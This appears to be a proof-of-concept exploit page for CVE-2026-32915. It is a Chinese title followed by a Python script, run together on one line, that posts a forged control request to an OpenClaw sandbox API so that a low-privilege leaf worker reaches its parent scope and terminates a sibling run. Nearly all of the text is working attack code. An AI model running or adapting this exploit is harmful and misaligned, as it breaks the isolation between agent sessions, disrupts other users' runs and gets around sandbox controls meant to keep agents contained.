CVE-2026-32915 OpenClaw沙箱边界绕过漏洞

import requests # PoC for CVE-2026-32915: OpenClaw Sandbox Boundary Bypass # This script simulates a low-privilege leaf worker accessing the parent scope. def exploit_sandbox_bypass(target_url, session_id): headers = { "Content-Type": "application/json", "User-Agent": "OpenClaw-Leaf-Agent/1.0" } # Malicious payload targeting parent scope instead of own session tree payload = { "scope": "parent_requester", # Bypassing own session tree "action": "kill_sibling", # Terminating sibling run "target_run_id": "sibling_run_123", "authorization": "leaf_token" # Low-privilege token } try: response = requests.post(f"{target_url}/api/control", json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Sibling run potentially terminated.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with actual target endpoint exploit_sandbox_bypass("http://127.0.0.1:8080", "leaf_session_abc")